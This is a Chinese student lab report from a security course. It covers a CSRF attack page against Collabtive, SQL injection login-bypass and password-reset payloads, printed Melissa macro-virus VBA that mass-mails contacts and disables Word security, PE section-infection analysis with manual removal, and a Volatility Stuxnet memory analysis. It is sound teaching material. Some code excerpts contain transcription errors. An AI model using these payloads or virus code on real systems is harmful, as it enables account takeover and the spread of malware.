信息安全实验课程二实验记录


实验一 Collabtive系统跨站请求伪造实验(选题3)

第一章 实验环境说明

实验环境为 Ubuntu 12.04,在蚁景云平台中完成。

第二章 Collabtive系统跨站请求伪造实验过程

2.1 实验任务及目的

实验任务

  1. 配置可信网站和恶意网站;
  2. 实现攻击者进行 CSRF 攻击;
  3. 实现对 CSRF 攻击的防御。

实验目的

  1. 理解跨站点请求伪造 (CSRF) 攻击的基本原理;
  2. 使用CSRF攻击来攻击社交网络 Web 应用程序,体会CSRF攻击带来的巨大危害。

2.2 实验方案设计

实验场景:用户浏览器,可信任的Web网站及恶意Web网站。

实验原理

CSRF(Cross Site Request Forgery,跨域请求伪造)的示意图如下所示:

image-20221122183608944

从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:

1.登录受信任网站A,并在本地生成Cookie。

2.在不登出A的情况下,访问恶意网站B。

常见的CSRF攻击包括使用 GET 请求和 POST 请求进行 CSRF 攻击。

为了防御 CSRF 攻击,Web 应用程序可以在其页面中嵌入一个秘密令牌,或添加验证文件。

在本实验中,我们模拟攻击者完成 CSRF 攻击的过程,并对攻击进行相应防御。

2.3 实验过程记录

(1)实验任务一

启动 apache 服务:

image-20221127155249680

配置DNS:

hosts 文件设置为可写权限:sudo chmod 777 /etc/hosts,其是用来配置 ip 地址和其对应主机名的文件;

然后修改 hosts 文件,分别添加一个可信网站www.csrflabcollabtive.com,一个恶意网站www.csrflabattacker.com

image-20221127155219877

配置可信网站和恶意网站:

sudo vim /etc/apache2/sites-enabled/000-default
<VirtualHost *:80>
    ServerName http://www.csrflabattacker.com
    DocumentRoot /var/www/CSRF/Attacker/
</VirtualHost>

<VirtualHost *:80>
    ServerName http://www.csrflabcollabtive.com
    DocumentRoot /var/www/CSRF/Collabtive/
</VirtualHost>

image-20221127155513384

访问测试:

image-20221127160313499

image-20221127160340761

(2)实验任务二

访问 www.csrflabcollabtive.com并进行登录,登录的用户为 admin,密码为 admin

image-20221127160424640

我们登录了网站,当我们希望可以修改别人的用户时,我们需要知道修改数据时的数据流,这个时候我们可以使用firefox浏览器自带的LiveHttpHeader插件来进行抓包获取修改用户时候的http消息;
点击菜单栏tools-LiveHttpHeader,然后访问编辑用户页面,并保存。

使用httpliveheader抓取此过程中的数据包:

通过抓包分析:http://www.csrflabcollabtive.com/manageuser.php?action=edit此连接是用来修改用户信息的。其中用户id,名称name,公司company,邮箱email等等信息我们都可以通过修改POST中对应的参数即可。

image-20221127161421514

尝试在攻击者的网站来修改admin用户的资料。我们构造一个攻击页面,来完成修改admin用户的资料(公司名):

<html>

<body>
    <h1> This page forges an HTTP POST request. </h1>
    <script>
        function post(url, fields) {
            var p = document.createElement('form');
            p.action = url; p.innerHTML = fields; p.target = '_self'; p.method = 'post';
            document.body.appendChild(p);
            p.submit();
        }
        function csrf_hack() {
            var fields;
            fields += "<input type='hidden' name='name' value='admin'>";
            fields += "<input type='hidden' name='userfile' value=''>";
            fields += "<input type='hidden' name='company' value='seed'>";
            post('http://www.csrflabcollabtive.com/manageuser.php?action=edit', fields);
        } 
        window.onload = function () { csrf_hack(); }
    </script>
</body>

</html>

将上面的代码保存为index.html并放在/var/www/CSRF/Attacker/文件夹下。

sudo chmod 777 index.html

修改完成后,我们重启 apache 服务:

sudo service apache2 restart

admin用户还登录状态时,打开浏览器另外一个标签页去访问www.csrflabattacker.com,攻击代码就会对admin用户的资料信息进行修改。

再次返回www.csrflabcollabtive.com,查看用户资料对比之前的页面,发现公司信息被修改了

image-20221127162648990

(3)实验任务三

编辑验证文件:

sudo vim /var/www/CSRF/Collabtive/templates/standard/edituserform.tpl

选定一个位置添加如下代码:

<input type="hidden" name="sid" value="">

在提交处,将 cookie 赋值给 sid。修改如下代码:

<button type="submit" onclick="this.form.sid.value=document.cookie" onfocus="this.blur()">{#send# }</button>

按 esc 然后输入 :wq 保存并退出。

然后修改 /var/www/CSRF/Collabtive/manageuser.php 文件,在里面添加如下代码:

$sid = getArrayVal($_POST,"sid");

还需要添加如下代码:

if($_COOKIE["PHPSESSID"]=$sid){ 	// 添加在 203 行处
}

这一行是对用户的 id 值进行判断,是否等于 phpsessid 的值,如果相等就可以对用户进行编辑,这样当攻击者想攻击时,就不能通过验证了。在这里,if 需要对整个编辑内容进行判断。

编辑截图如下:

image-20221127163109506

image-20221127163335689

修改上述内容,再次访问www.csrflabattacker.com网站,可以发现,攻击者由于无法获得第三方网站的 cookie ,其将无法正确完成跨站请求伪造。

2.4 实验结果分析

在本实验中,我们模拟了攻击者对网站进行的 CSRF 攻击,并通过加入验证 cookie 的方法,对 CSRF 攻击进行了相应防御。与跨站脚本攻击(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

第三章 结论与心得

通过本实验,我对CSRF攻击有了一个直观的感受,并理解了其在网络环境中带来的巨大危害;同时,也复习了JavaScript前端Web技术的相关知识,编写了利用POST请求进行CSRF攻击的相应代码。我们在今后的Web相关设计中,必须考虑到这些安全问题,并采取相应的防范措施。

实验二 Collabtive系统SQL注入实验(选题5)

第一章 实验环境说明

实验环境为 Ubuntu 12.04,在蚁景云平台中完成。

第二章 Collabtive系统SQL注入实验过程

2.1 实验任务及目的

实验任务

  1. 实现对Select、Update语句中的SQL注入;
  2. 实现对SQL注入攻击的防范。

实验目的

  1. 复习 SQL 语言进行数据库操作的方法;

  2. 利用 SQL 注入漏洞的方法,演示攻击可能造成的损害,并掌握有助于防御此类攻击的技术。

2.2 实验方案设计

实验场景:用户浏览器,含有SQL注入漏洞的网站

实验原理

​ SQL注入攻击是通过将恶意的 SQL查询或添加语句插入到应用的输入参数中,再在后台 SQL服务器上解析执行进行的攻击,它是目前黑客对数据库进行攻击的最常用手段之一。具体而言,SQL注入可分为五大类,分别是:数字型注入、字符型注入、搜索型注入、in型的注入、句语连接型注入。

​ SQL 注入带来的威胁主要有:

  1. 猜测后台数据库,这是利用最多的方式,盗取网站的敏感信息;

  2. 绕过认证,列如绕过验证登录网站后台;

  3. 注入可以借助数据库的存储过程进行提权等操作。

代码层防御SQL注入攻击的最佳方案就是SQL预编译,将参数与查询分离。

在本实验中,我们模拟攻击者对网站完成SQL注入攻击,并对攻击进行相应防御。

2.3 实验过程记录

(1)实验任务一

修改 hosts 文件:

sudo vim /etc/hosts

加入如下条目:

127.0.0.1 www.sqllabcollabtive.com

修改php的配置文件

sudo vim /etc/php5/apache2/php.ini

magic_quotes_gpc=On 改为 magic_quotes_gpc = Off,表示写入数据库的字符串未经过任何过滤处理。从数据库读出的字符串也未作任何处理。

image-20221127164825194

sudo service apache2 restart

访问:www.sqllabcollabtive.com

查看登陆验证文件源码:

sudo vim /var/www/SQL/Collabtive/include/class.user.php

在第375行,可以找到登录时后台执行的sql语句。

sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender, FROM user WHERE (name = '$user' OR email = '$user') AND pass = '$pass'");

我们发现这里的sql语句是通过user变量的值来拼接的,那么我们可以构造一个语句,在不知道密码的情况下登陆,构造好之后,登录时后台查询的语句会变成下面的样子(不要修改class.user.php):

sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender, FROM user WHERE (name = '$user ') #' OR email = '$user') AND pass = '$pass'");

为了验证上面的思路,我们在登录表单中输入用户名admin')#,密码随意。然后点击登录,发现登录成功了:

image-20221127165458939

(2)实验任务二

本任务实现对Update语句中的sql注入。

Collabtive平台中可以更新用户信息,用户信息编辑的链接如下(登录后访问):http://www.sqllabcollabtive.com/manageuser.php?action=editform&id=1

在Collabtive web应用程序中,如果用户想更新他们的个人资料,他们可以去我的帐户,单击编辑链接,然后填写表格以更新资料信息。在用户发送更新请求到服务器,这个过程的实现是由include/class.user.php文件来完成的。

sudo vim /var/www/SQL/Collabtive/include/class.user.php
function edit($id, $name, $realname, $email, $tel1, $tel2, $company,
             $zip, $gender, $url, $address1, $address2, $state,
             $country, $tags, $locale, $avatar = "", $rate = 0.0)
   {
   $name = mysql_real_escape_string($name);
   $realname = mysql_real_escape_string($realname);

   //modified for SQL Lab

   //$company = mysql_real_escape_string($company);

   $email = mysql_real_escape_string($email);

   // further escaped parameters removed for brevity...
   $rate = (float) $rate;
   $id = (int) $id;

   if ($avatar != "")
       {
           $upd = mysql_query("UPDATE user SET name='$name', email='$email',

                               tel1='$tel1', tel2='$tel2', company='$company',

                               zip='$zip', gender='$gender', url='$url',

                               adress='$address1', adress2='$address2',

                               state='$state', country='$country',

                               tags='$tags', locale='$locale',

                               avatar='$avatar', rate='$rate' WHERE ID = $id");
       }
   else
       {
           // same query as above minus setting avatar; removed for
           // brevity
       }
   if ($upd)
       {
           $this->mylog->add($name, 'user', 2, 0);
           return true;
       }
   else
       {
           return false;
       }
   }

我们查看源码可知,代码中是存在注入的,我们修改用户资料时,可以尝试修改company参数,进行注入。在编辑用户的位置,user 填 ted,Company 处填:

', `pass` = '9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684' WHERE ID = 4 # '

这里的 9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684 就是pass的SHA1值。

点击修改,然后我们退出当前用户,使用ted用户登录,这个时候ted用户的密码应该是pass:

image-20221127170910036

(3)实验任务三

策略1:防御转义特殊字符使用

开启magic_quotes_gpc,将magic_quotes_gpc值设为On。

sudo vim /etc/php5/apache2/php.ini
sudo service apache2 restart

image-20230109212340834

使用此方法之后,发现不能成功注入。

策略2:避免使用特殊字符

MySQL提供一个函数 mysql_real_escape_string(),这个函数可以用来过滤一些特殊字符;如 \x00, \n, \r, \, ', " ,\x1a

修改登录处如下:

image-20221127171250544

修改编辑资料处:

image-20221127171444131

使用此方法之后,发现不能成功注入。

2.4 实验结果分析

在B/S模式中,用户可以通过GET或POST等方式,对服务器发出HTTP请求;在服务器端,对数据库执行查询操作,将查询的结果返回浏览器端。黑客利用上述过程,将精心构造的请求放到传入的变量参数中,让服务器端执行恶意代码以进行SQL注入攻击,从而达到了读取数据库中敏感信息的效果,甚至将数据库删除。

在本实验中,我们分别利用SELECT和UPDATE语句进行了SQL注入攻击。由于SQL注入攻击本质上是用户将输入作为可执行SQL命令的一部分导致的,所以我们通过参数与查询分离的思想,在代码层对SQL注入攻击进行了相应防御。

第三章 结论与心得

通过本实验,我通过实际操作SQL注入攻击,对其攻击过程有了一个直观的感受,也了解了SQL注入攻击带来的巨大危害,如盗取数据、对网页信息进行篡改、通过提权远程控制服务器等。

在近几年OWASP公布的Web应用十大安全漏洞排名中,SQL注入稳居榜首第4。虽然其原理及利用方式并不复杂,但对目标网站造成的破坏力巨大。我们能认识到,造成SQL注入漏洞的根本原因是开发人员违背了“代码与数据分离”的原则,故在Web应用开发的过程中就应该对相关安全问题予以足够的重视,这比后期维护或造成攻击后再去补救带来的成本要低得多。

实验三 宏病毒(选题11)

第一章 实验环境说明

实验环境为 Win XP,在蚁景云平台中完成。

第二章 宏病毒实验过程

2.1 实验任务及目的

实验任务

  1. 编写宏代码;
  2. 编写和实现梅丽莎病毒代码,模拟该病毒的操作过程,并分析该病毒的运行原理。

实验目的

  1. 了解梅丽莎宏病毒基本概念,对宏病毒有一个比较深入的理解;
  2. 自己实验梅丽莎宏病毒,体会到宏病毒的危害所在。

2.2 实验方案设计

实验场景:操作系统为 Win XP,实验在WordOutlook Express 软件中进行。

实验原理

宏是一个批处理程序命令,正确地运用它可以提高工作效率。解释器或编译器在遇到宏时会自动进行这一模式替换。对于编译语言,宏展开在编译时发生,进行宏展的工具常被称为宏展开器。

微软的office软件运行用户自己编写的称为 VBA 的脚本来增加其灵活性,进一步扩充它的能力。如完成一个一打开word文件同时要打开某个文件的功能,必须要自己编写一段称之为宏的脚本。

在本实验中,我们通过编写宏代码,模拟梅丽莎病毒的操作过程,并分析梅丽莎病毒的运行机理。

2.3 实验过程记录

(1)实验任务一

1、桌面右击新建一个word文档

2、在新文档中打开工具->宏—>宏

image-20221208201915407

输入如下代码:

image-20221208202020815

关闭宏代码编辑器,将文档存盘并关闭;

再次启动刚刚保存的文档时,发现多了一个cmd窗口

image-20221208202121588

(2)实验任务二

梅丽莎病毒的特点是:该病毒通过电子邮件的方式传播,当用户打开附件中的”list.doc”文件时,将立刻中招。

病毒的代码使用Word的VBA语言编写, 开创了此类病毒的先河, 如同病毒作者的猖狂之言”It’s a new age!”。

病毒通过对注册表进行修改, 并调用Outlook(现在用这个玩意的较少了)发送含有病毒的邮件, 进行快速传播。由于该病毒发送的邮件的发件人是用户熟悉的, 因此往往被很多人忽视。同时, 该病毒会自动重复以上的动作, 由此引起连锁反应, 在短时间内, 造成邮件服务器的大量阻塞, 严重影响正常网络通讯。

该病毒可感染Word97、Word2000的Doc文件, 并修改通用模板Normal.dot, 使受害者几乎永无”脱离苦海”之时。

配置客户端邮件地址(因为这个梅丽莎病毒主要是针对这个outlook的。)

开始–>电子邮件–>设置邮件账户–>输入你的邮箱地址–>根据所使用的邮箱类型设置pop3和smtp的地址–>输入密码–>ok设置邮件账户就基本完成了:

image-20221208202517993

image-20221208202651648

image-20221208202736106

image-20221208202756371

点击工具–>通讯簿,右键联系人–>新建联系人–>填写好后点击确定

image-20221208203148215

设置宏的安全性,默认是不允许运行未经签署的宏。

新建一个word文档–>工具–>宏–>安全性–>将安全性设置为中

image-20221208203322507

模拟宏病毒发作

新建另一个宏,将代码全部复制并覆盖进去。

image-20221208204136192

image-20221208204209372

点击运行,这个时候发现电脑变的很慢,趋于死机状态:

image-20221208204226406

关闭Word(用任务管理器强制结束进程):

image-20221208204437860

在开始-运行中输入 regedit ,打开注册表编辑器,查看”HKEY_CURRENT_USER\Software\Microsoft\Office“下Melissa的值,发现等于”… byKwyjibo”:

image-20221208204649495

(3)实验任务三

任务描述:病毒源码分析

1、 病毒被激活后,将修改注册表中的”HKEY_CURRENT_USER\Software\Microsoft\office\“键,并增加项”Melissa?”, 赋值为”… by Kwyjibo”(病毒作者的大名),并将此作为是否已感染病毒的标志。

病毒中相关操作的核心代码如下所示:

'读取注册表项的内容, 进行判断
If System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\office\","Melissa?")<>"… by Kwyjibo" Then
'其它操作代码 ...
'设置感染标志
System.PrivateProfileString("HKEY_CURRENT_USER\Software\Microsoft\office\","Melissa?")= "… by Kwyjibo"
End If

2、发送邮件

在Outlook程序启动的情况下, 梅丽莎病毒将自动给地址簿中的成员(前50名)发送邮件, 主题为”Important Message From “, 用户名”<user>“为Word软件的用户名, 邮件的正文为”Here is that document you asked for … don’t show anyone else;”,邮件的附件为一个文件名为”list.doc”的带毒文件。

为了实现上述功能, 病毒利用获取了地址薄中所有的邮件地址, 并发送内嵌病毒代码的邮件, 达到了疯狂传播的目的。

注意:在本实验中OutLook中至少要有一名含有有效邮件地址的联系人。

病毒中相关操作的核心代码如下所示:

Dim UngaDasOutlook,DasMapiName,BreakUmoffASlice

'创建Outlook应用程序实例对象
Set UngaDasOutlook=CreateObject("Outlook.Application")

'获取MAPI对象
Set DasMapiName= UngaDasOutlook.GetNameSpace("MAPI") 
If UngaDasOutlook="Outlook" Then
DasMapiName.Logon "profile","password"

'遍历地址薄, 进行邮件发送操作
For y=1 ToDasMapiName.AddressLists.Count
Set AddyBook= DasMapiName.AddressLists(y)
X=1
Set BreakUmoffASlice= UngaDasOutlook.CreateItem(0)
For oo=1 To AddyBook.AddressEntries.Count
            
'获取第n个收件人地址
Peep=AddyBook.AddressEntries(x)

'加入收件人地址
BreakUmoffASlice.Recipients.Add Peep
X=x+1
If x>50 Then oo= AddyBook.AddressEntries.Count
Next oo

'设置邮件的主题
BreakUmoffASlice.Subject="Important Message From "&Application.UserName

'设置邮件的正文
BreakUmoffASlice.Body="Here is that document you asked for… don't show anyone else :-)"

'加入邮件的附件
BreakUmoffASlice.Attachments.AddActiveDocument.FullName

'发送邮件
BreakUmoffASlice.Send
Next y

'断开连接
DasMapiName.Logoff
Peep=""
End If

3、修改Word模版

梅丽莎病毒激活后, 将感染Word97和Word2000的文档并修改通用模板Normal.dot,使感染后的Word运行时”宏”菜单项不能使用,并且导致Word软件对文件转换、打开带有宏的文件、Normal.dot遭到修改后都不会出现警告, 使病毒的魔爪”天衣无缝”。最后, 将病毒自身的代码和所做的设置修改,利用一个很高超的方法一同写入Normal.dot之中, 使用户以后打开Word时病毒反复发作。

病毒中相关操作的核心代码如下所示:

'使"宏"工具栏的"安全"项无效
CommandBars("Macro").Controls("Security…").Enabled=False

'使"工具"菜单栏的"宏"项无效
CommandBars("Tools").Controls("Macro").Enabled=False

'将"0"(1-1)值赋于ConfirmConversions属性,使"文件转换"对话框不显示
Options.ConfirmConversions=(1-1)

'将,"0"(1-1)值赋于VirusProtection属性, 使"宏警告"对话框不显示
Options.VirusProtection=(1-1)

'将"0"(1-1)值赋于SaveNormalPrompt属性,使Normal.dot被修改后不显示警告对话框
Options.SaveNormalPrompt=(1-1)

'获取当前文档的VBA工程的第1个模块名称
Set ADI1=ActiveDocument.VBProject.VBComponents.Item(1)

'获取Normal.dot的VBA工程的第1个模块名称
Set NTI1=NormalTemplate.VBProject.VBComponents.Item(1)
NTCL=NTI1.CodeModule.CountOfLines
ADCL=ADI1.CodeModule.CountOfLines
BGN=2

'如果当前文档未感染
If ADI1.Name<>"Melissa" Then

'修改VBA工程的第1个模块名称为"Melissa"
If ADCL>0 Then ADI1.CodeModule.DeleteLines 1,ADCL
Set ToInfect=ADI1
ADI1.Name="Melissa"
DoAD=True
End If

'如果Normal.dot未感染
If NTI1.Name <> "Melissa" Then

'修改VBA工程的第1个模块名称为"Melissa"
If NTCL>0 Then NTI1.CodeModule.DeleteLines 1,NTCL
Set ToInfect=NTI1
NTI1.Name="Melissa"
DoNT=True
End If

'如果都已感染, 跳转执行以后的命令
If DoNT<> True AndDoAD<> True Then GoTo CY

'开始感染Normal.dot
If DoNT=True Then
Do While ADI1.CodeModule.Lines(1,1)=""
ADI1.CodeModule.DeleteLines 1
Loop

ToInfect.CodeModule.AddFromString("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN,1) <> ""
ToInfect.CodeModule.InsertLines BGN,ADI1.CodeModule.Lines(BGN,1)
BGN=BGN+1
Loop
End If

If DoAD=True Then  '开始感染当前文档
Do While NTI1.CodeModule.Lines(1,1)=""
NTI1.CodeModule.DeleteLines 1
Loop

ToInfect.CodeModule.AddFromString("Private Sub Document.Open()")

Do While NTI1.CodeModule.Lines(BGN,1)<>""
ToInfect.CodeModule.InsertLines BGN,NTI1.CodeModule.Lines(BGN,1)
BGN=BGN+1
Loop
End If

CYA:

'保存被修改的当前文档和Normal.dot
If NTCL<>0 And ADCL=0 And (InStr(1,ActiveDocument.Name,"Document")=False) Then
ActiveDocument.SaveAsFileName=ActiveDocument.FullName
ElseIf (InStr(1,ActiveDocument.Name,"Document")<>False) Then
ActiveDocument.Saved=True
End If
End If

2.4 实验结果分析

从实验来看,梅丽莎病毒通过修改注册表、发送邮件、修改 Word 模板等步骤,成功对受害机的 Word 软件进行感染,并通过 Outlook 软件转发给受害者的联系人,实现对更多人的感染,危害性极大。

第三章 结论与心得

宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在 Normal 模板上。通过对本实验的实际操作,我对宏的基本概念和宏病毒的运行机制有了更深入的了解,对梅丽莎病毒的危害性有了一个比较全面的认识,收获很大。

实验四 PE病毒之感染机制与手动清除(选题14)

第一章 实验环境说明

本实验的实验环境是 Windows xp sp3,在蚁景云平台中完成。

第二章 PE病毒之感染机制与手动清除实验过程

2.1 实验任务及目的

实验任务

  1. 对PE病毒的感染机制进行分析;
  2. 利用感染原理,逆向清除感染型病毒。

实验目的

本实验介绍文件感染型病毒。通过执行病毒程序,使目标程序被感染。通过PE工具来对比查看文件感染前后的不同来确定文件的感染方式,最后进行手动清除感染型病毒。

2.2 实验方案设计

实验场景:操作系统为 Win XP,实验所需的软件有 stud_PEPEditorWinHexmasm32

实验原理

一个 PE 文件中的常用区段如下:

  • .text:代码段,可读、可执行;
  • .data:存放全局变量、全局常量等;
  • .idata:导入函数的代码段,存放外部函数地址;
  • .rdata:资源数据段(包括自己打包的,还有开发工具打包的);
  • .reloc:实现重定位

PE 病毒编写的关键技术主要是:

  • 定位
  • 获取 API 函数
  • 搜索目标文件
  • 感染
  • 破坏

实现对PE文件病毒的感染有三种方式:

方法1:节添加

1、判断目标文件开始的两个字节是否为“MZ”;

2、判断PE文件的标记(“PE”);

3、判断感染标记,如果已被感染过就跳出,去执行宿主程序,否则继续;

4、获得数据目录(Data Directory)的个数(每个数据目录占8个字节);

5、得到节表的起始地址(数据目录的偏移地址+数据目录占用的字节数=节表起始位置)

6、得到节表的末尾偏移(紧接其后用于写入一个新的病毒节信息),节表的起始地址+节的个数*28H(每个节表占用的字节数)=节表的末尾偏移

7、开始写入节表:

a)写入节名(8字节)。

b)写入节的实际字节数(4字节)。

c)写入新节在内存中的开始偏移地址(4字节),同时可以计算出病毒入口位置。 上一个节在内存中的开始偏移地址+(上一个节的大小/节对齐+1)*节对齐=本节在内存中的开始偏移地址。

d)写入本节(即病毒节)在文件中对齐后的大小。

e)写入本节在文件中的开始位置。 上节在文件中的开始位置+上节对齐后的大小=本节(即病毒)在文件中的开始位置。

8、修改映像文件头的节表数目

9、修改 AddressOfEntryPoint(即程序入口点指向病毒入口位置),同时保存旧的 AddressOfEntryPoint,以便返回宿主并继续执行。

10、更新 SizeOfImage(内存中整个PE 映像尺寸=原 SizeOfImage +病毒节经过内存节对齐后的大小)。

11、写入感染标记(后面例子中是放在 PE 头中)。

12、在新添加的节中写入病毒代码。

示意图如下所示:

image-20230107142545623

方法2:节扩展

image-20230107142633871

方法3:节插入(利用空闲区修改PE)

image-20230107142711345

本实验中,我们对添加节方式感染型病毒进行分析,并进行手动清除病毒,使得PE文件恢复原貌。

2.3 实验过程记录

(1)实验任务一

本实验提供了一个病毒样例,文件名为“添加节方式感染型病毒.exe”。

该病毒主要的工作流程如下:检索与该文件路径下的其他文件,若该文件为PE文件,那么就在该文件的末尾处添加一个病毒段.boy,然后在该段保存原程序的入口地址和基地址。并将原程序的入口地址(EP)改为.boy段的某处入口地址。病毒加载完之后,将控制权再次交给原程序。

任务描述: 加载病毒,执行感染。

1、为了学习病毒的感染过程,首先得明确被感染的程序的大致情况。用masm32加载提供给大家的test.asm,生成目标文件test.exe。

步骤是:

  • 编译源文件:Project->Assemble Asm File,产生***.obj文件;
  • Project->Link Obj File,链接产生的Obj文件,产生exe文件。

image-20230111212236886

2、执行test.exe。程序很简单,弹窗显示1234,点击确定之后退出。

image-20221208211217044

使用stud_PE加载test.exe,查看信息

image-20221208212101555

注意到程序的入口地址为1015,程序的基址加载地址为400000。

查看段表

image-20221208212414460

可以看到,test.exe中有三个段。

复制test.exe文件为test_infected.exe,并将test_infected.exe和病毒文件“添加节方式感染型病毒.exe”放在同一个新建的文件夹下。试验中新建的文件夹叫做“virus_lab”。此时该目录的文档结构如下:

image-20221208212637229

image-20221208212650349

可以看到test_infected.exe已经不是原来的文件了,程序已经被感染,在点击确定之后,原来的程序又恢复了正常运行的状态。

image-20221208212712978

(2)实验任务二

通过对比分析感染过程。

用stud_PE加载test_infected.exe,查看段表。

image-20221208212806430

和test.exe比对,发现被感染的文件多了一个段,该段名叫boy。该段的大小为204。从图标ep可以看出,这个段包含了程序的入口地址。

再看下头部信息,看到原EP发生了变化,而文件的大小也发生了变化,为4204。

image-20221208213040023

详细比较两文件不同。选择File Compare后,选择比对文件test.exe。对比方法为PE结构体对比。

image-20221208213204007

从图中可以看出,test_infected添加了一个section节。

继续往下比较,可以看出,程序的入口地址大小都发生了变化。

image-20221208213248274

实际上,从被感染的程序上来看,病毒主要的工作是添加了一个段(.boy),并将程序的入口地址重新定义到此段上去(AddressOfEntryPoint)。为了遵循PE格式,又必须让镜像大小(SizeOfImage)加上添加后的段(.boy)大小。

(3)实验任务三

根据感染原理,逆向清除病毒,恢复程序运行。

根据感染原理,其实只要将文件的EP改为之前的test.exe中的1015,即可恢复正常执行。

image-20221208213616398

保存:

image-20221208213655265

被保存之后,运行test_infected.exe。

image-20221208213709665

这样就完成了清理。

但是,从病毒感染的过程(添加段)来说,并没有将添加的段给删除,这也正是为什么会出现文件大小不一致。

image-20221208213809879

需要注意的是,为了更好地管理磁盘空间和更高效地从硬盘读取数据,操作系统规定一个簇中只能放置一个文件的内容,因此文件所占用的空间,只能是簇的整数倍;而如果文件实际大小小于一簇,它也要占一簇的空间。所以,一般情况下文件所占空间要略大于文件的实际大小,只有在少数情况下,即文件的实际大小恰好是簇的整数倍时,文件的实际大小才会与所占空间完全一致。

将添加的.boy段给删除了,我们使用PEditor来删除段。

image-20221208213931439

选择删除段:

image-20221208214031736

删除之后,段的数量会自动减一,不必修改NumberOfSections字段了。

删除之后退出程序,程序已经不能运行了。

image-20221208214122649

原因是删除了段之后,文件的sizeOfImage应该发生变化,所以应该减去.boy段的rawSize,也就是204,此时sizeOfImage的大小为4000。

image-20221208214221419

修改后再次运行,一切正常:

image-20221208214247801

此时来看下test_infected.exe的大小,从图中可以看出,test_infected.exe的大小没有改变。

image-20221208214308573

载入stud_pe查看一下:

image-20221208214356250

可以看到,删除的是.boy段的段头信息,而段的内容还在此。

使用PEditor查看段表,却不存在此段。

image-20221208214448063

最好的方式是使用stud_PE来删除残骸,但是stud_PE在删除段时会报错。没关系,使用winhex来手动清除。

首先需要确定的是.boy段的RawOffset。.boy段之前存放在.data之后,.data的rawSize对齐之后为200,RawOffset为0x800.所以,.boy段的RawOffset为0xA00。

使用winhex打开test_infected.exe。移动到0xA00处。

image-20221208214742194

0xA00后就是.boy段的段内容,到结尾的字节长度为204,也即.boy段的RawOfSize。从右侧的字符串中我们也可以看到常量loadLibraryA和user32.dll等字符量。

选中0xA00到文件的末尾,删除,按Delete键。

image-20221208214833799

remove

按Ctrl+S保存,运行该文件成功:

image-20221208215125852

这时候再查看一下文件大小:

image-20221208215048357

此时 .boy 段已经彻底的删除了。

2.4 实验结果分析

PE病毒感染的三种方式包括节添加、节扩展、节插入。在本实验中,我们观察并分析了PE病毒感染后的文件及其变化,并进行手动清除,成功复原了源文件。

我们在实验中模拟的PE病毒主要实现的是弹窗机制,部分PE病毒还会将自己注册成为服务进程在后台隐藏运行,尝试连接网络,连接成功后会向指定的地址利用HTTP的方式下载文件到本地,并且还会拦截用户的操作,窃取指定软件的安全信息并保存在指定的文件中,然后利用FTP的方式将文件上传到指定的地址中,危害性极大。

第三章 结论与心得

PE病毒是以Windows PE程序为载体,能寄生于PE文件或Windows系统的病毒程序。通过本实验的实操,我对PE病毒的运行机理及感染和清除过程有了更加详细的认知。PE病毒编写的关键技术包括定位、获取API函数、搜索目标文件、感染、破坏等步骤,一旦被PE病毒感染,对计算机的影响将非常大,很多病毒还有连续感染即“蠕虫”的特性,我们必须防范此类病毒。

实验五 Volatility:AnalyzingStuxnet01(选题15)

第一章 实验环境说明

本实验的操作系统环境是 CentOS 7,镜像文件是 Win XP sp3,在蚁景云平台中完成。

第二章 Volatility:AnalyzingStuxnet01实验过程

2.1 实验任务及目的

实验任务:分析震网病毒的实现机制,学习Stuxnet恶意进程的执行思路和防治方法。

实验目的

  1. 通过分析Stuxnet恶意进程,掌握恶意进程分析与防治的基本方法;
  2. 掌握分析DLL文件的基本方法。

2.2 实验方案设计

实验场景:操作系统为 CentOS 7,实验所需的软件是 Volatility。

实验原理

震网(Stuxnet)病毒于2010年6月首次被检测出来,是第一个专门定向攻击真实世界中基础(能源)设施的“蠕虫”病毒,比如核电站,水坝,国家电网。互联网安全专家对此表示担心。

作为世界上首个网络“超级破坏性武器”,“震网”病毒利用了微软视窗操作系统之前未被发现的4个漏洞,Stuxnet的计算机病毒已经感染了全球超过 45000个网络,伊朗遭到的攻击最为严重,60%的个人电脑感染了这种病毒。计算机安防专家认为,该病毒是有史以来最高端的“蠕虫”病毒。蠕虫是一种典型的计算机病毒,它能自我复制,并将副本通过网络传输,任何一台个人电脑只要和染毒电脑相连,就会被感染。

下面的实验主要对震网病毒的实现机制做了基本的分析。

2.3 实验过程记录

(1)实验任务一

1、Volatility基本使用命令

./vol.py ‐f [image] ‐profile=[profile] [plugin]

其中 -f 后面需要跟绝对路径。

查看扫描检查、插件、地址空间等信息:

./vol.py --info

查看帮助信息:

./vol.py -h/--help

查看指定插件的说明:

./vol.py [plugin] –help

查找插件:

不带前缀的是windows的插件,带linux前缀的是linux的插件

vol.py --info | grep -i linux 命令列出所有linux插件:

image-20221208215927227

从扩展目录加载插件:

./vol.py --plugins=[path][plugin]

检查结果输出:

./vol.py --output-file=[file]

/etc/profile 文件涉及到操作系统的环境,我们查看profile文件:vol.py --info | grep -i profile

image-20221208220027920

2、确定要使用的profile文件

在分析镜像文件之前,我们对拿到的镜像可能并不知道这些镜像是什么操作系统,所以我们需要先确定操作系统类型,从而选择正确的profile文件。

待分析镜像:stuxnet.vmem

ls | grep stuxnet

image-20221208220215093

镜像信息查看参数:imageinfo

vol.py imageinfo -f stuxnet.vmem

image-20221208220337448

从镜像信息分析出,需使用“WinXPSP3x86”这个profile。

分析Stuxnet进程

基础知识:

Lsass进程:

lsass.exe是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。一个正常的windows xp系统在启动的时候,只会通过winlogon.exe创建一个lsass进程。

Stuxnet会将自身注入到services.exe,然后创建两个新的lsass.exe,然后释放出mrxnet.sys(驱动)和Mrxcls.sys(驱动)等恶意文件。

查看进程:

查看进程插件:pstree

vol.py pstree -f stuxnet.vmem --profile=WinXPSP3x86

image-20221208221410240

说明:

  • PID:进程ID
  • PPID:父进程ID
  • HndsTime:进程创建时间

